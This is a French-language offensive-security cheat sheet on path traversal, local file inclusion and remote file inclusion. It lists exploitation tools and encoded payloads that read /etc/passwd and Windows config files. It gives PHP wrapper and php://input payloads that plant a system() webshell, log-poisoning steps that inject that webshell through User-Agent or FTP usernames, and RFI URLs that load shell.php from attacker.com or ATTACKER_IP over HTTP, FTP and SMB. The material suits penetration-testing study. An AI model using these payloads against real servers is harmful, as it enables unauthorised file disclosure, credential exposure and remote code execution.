📁Path Traversal / LFI / RFI

Outils dédiés aux path traversals et local file inclusion

Liffy

Liffy est un outil d'exploitation de vulnérabilités de type LFI complet allant de l'utilisation des wrappers PHP à l'exploitation de log poisoning.

ressource: https://github.com/mzfr/liffy

LFISuite

LFI Suite est un outil totalement automatique capable d'analyser et d'exploiter les vulnérabilités d'inclusion de fichiers locaux en utilisant de nombreuses méthodes d'attaque différentes.

ressource: https://github.com/D35m0nd142/LFISuite

LighTraversal

LighTraversal est un outil permettant de vérifier si il existe une vulnérabilité de path traversal dans une (liste d') url.

ressource: https://github.com/mathis2001/LighTraversal

Manuel

Encoding:

sans    simple    double

:        3A        %253A

/        2F        %252F

.        2E        %252E

-        2D        %252D     

=        3D        %253D


Exemples

/etc/passwd
../../../etc/passwd
....//....//....//etc//passwd
..///////..///////..///////etc///////passwd
..%5c..%5c..%5cetc%5cpasswd
.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./etc/passwd
..%253f..%253f..%253fetc%253fpasswd
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
/var/www/images/../../../etc/passwd

Null byte (%00)

Les anciennes versions de PHP sont vulnérable au Null byte permettant de ne pas prendre en compte tout ce qui est derrière celui-ci dans l'url.

Exemple pour une LFI:

On a un site qui ajoute des extensions automatiquement sur chaque uri

/target.com/index.php?page=../../../etc/passwd

devient

/target.com/index.php?page=../../../etc/passwd.php

ce qui donnera une erreur car passwd.php n'existe pas.

alors qu'avec le null byte,

/target.com/index.php?page=../../../etc/passwd%00

deviendra

/target.com/index.php?page=../../../etc/passwd%00.php

Ici ".php" ne sera pas pris en compte et le fichier passwd sera bien affiché.

Wrapper

il existe aussi avec php plusieurs wrappers permettant dans certains cas de soutirer des informations à une page tel que sont code source par exemple mais on peut aussi s'en servir pour uploads des fichiers et obtenir des RCE.

Voici quelques exemples de wrappers utilisés par PHP:

//Wrapper php filter
/target.com/index.php?page=php://filter/read=string.rot13/resource=index.php
/target.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
/target.com/index.php?page=php://Filter/convert.base64-encode/resource=index.php

//Wrapper data
data://text/plain,<?php info();?>
data://text/plain;base64,<payloadbase64>

//Wrapper expect
expect://id
expect://ls

//Wrapper zip
zip://shell.jpg%23payload.php

//Wrapper input
php://input
exemple:
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"

...

RCE via LFI + Log Poisoning

Prérequis: Avoir un paramètre vulnérable aux inclusions de fichiers locaux

  1. Essayez d'accéder à des fichiers de logs.

ressource: https://github.com/mathis2001/Wordlists/tree/main/LFI/LogFiles

1.1. Si cela fonctionne, essayez d'injecter un payload via un paramètre ou un header logé

exemple: User-agent: <?php system($_GET["cmd"]); ?> ou dans l'url, ?param=<?php system($_GET["cmd"]); ?>

2. Scanner les ports de la machine à la recherche de service FTP, SSH, SMTP ou MySQL (+ version si possible pour connaitre potentiellement le nom du fichier de log et son emplacement).

2.1. Essayez d'accéder au fichier qui log les interactions avec ces services.

2.2. Si il y en a un d'accessible, essayer d'entrer votre payload en temps que nom d'utilisateur à la connexion.

2.3. Accédez au fichier de log et exécutez votre payload

Exemple pour un fichier /var/log/vsftpd.log.

$ ftp <target IP>
Connected to ...
220 (vsFTPd X.X.X)
Username: <?php system($_GET["cmd"]); ?>
...
Password: blabla
530 Login incorrect
Login Failed.

#Dans l'url
https://target.com/exemple.php?page=/var/log/vsftpd.log&cmd=id

Quelques tips

vérifier: file:|pwd

vérifier un possible contournement de filtre avec des ?:

le trick ici de de faire en sorte que le seul match possible est celui auquel vous pensez?

Par exemple, vous ne pouvez pas appeler /tmp avec /??? car il y a /etc qui contient le même nombre de caractères.

Par contre si vous entrez ceci,

  • /e??

  • /?t?

  • /??c

le seul répertoire possible cera /etc.

Plutôt que bin/cat etc/passwd il est possible d'utiliser:

/???/??t%20/???/???s?d

LFI sur serveur Windows

/../../c:/windows/system32/drivers/etc/hosts

C:%5Cwindows%5CSystem32%5Cinetsrv%5Cconfig%5CapplicationHost.config

Chemin relatif a partir du repertoire courant (cwd) du drive C

C:path\to\file.txt

Si file:///etc/passwd est bloqué dans l'url, essayer d'utiliser la fonctionnalité view-source du navigateur (view-source:file:///etc/passwd)

Nginx

https://target.com///////../../../etc/passwd

Ruby on rails / Django / NodeJs dans header Accept:

../../../../../../../../../../etc/passwd{{
../../../../../../../../../../etc/passwd{%0D
../../../../../../../../../../etc/passwd{%0A
../../../../../../../../../../etc/passwd{%00
../../../../../../../../../../etc/passwd{%0D{{
../../../../../../../../../../etc/passwd{%0A{{
../../../../../../../../../../etc/passwd{%00{{

NodeJS filter bypass

https://target.com/blabla/NN/secret

https://www.compart.com/fr/unicode/U+FF2E

RFI

Exemples avec le webshell shell.php = <?php system($_GET["cmd"]); ?>

HTTP

Exemple de RFI via protocole HTTP

#Création du serveur HTTP
$ python3 -m http.server <LISTENING_PORT>

#Dans l'url du site
https://target.com/exemple.php?page=http://attacker.com:<port>/shell.php&cmd=id

FTP

Exemple de RFI via protocole FTP

#Création du serveur FTP
$ python -m pyftpdlib -p 21

#Dans l'url du site
https://target.com/exemple.php?page=ftp://attacker.com/shell.php&cmd=id

SMB

Exemple de RFI via protocole SMB

#Création du serveur SMB
$ impacket-smbserver -smb2support share $(pwd)

#Dans l'url du site
https://target.com/exemple.php?page=//<ATTACKER_IP>/shell.php&cmd=id

Trouver des paramètres

$ waybackurls target.com | gf lfi | tee -a lfi.txt

Dernière mise à jour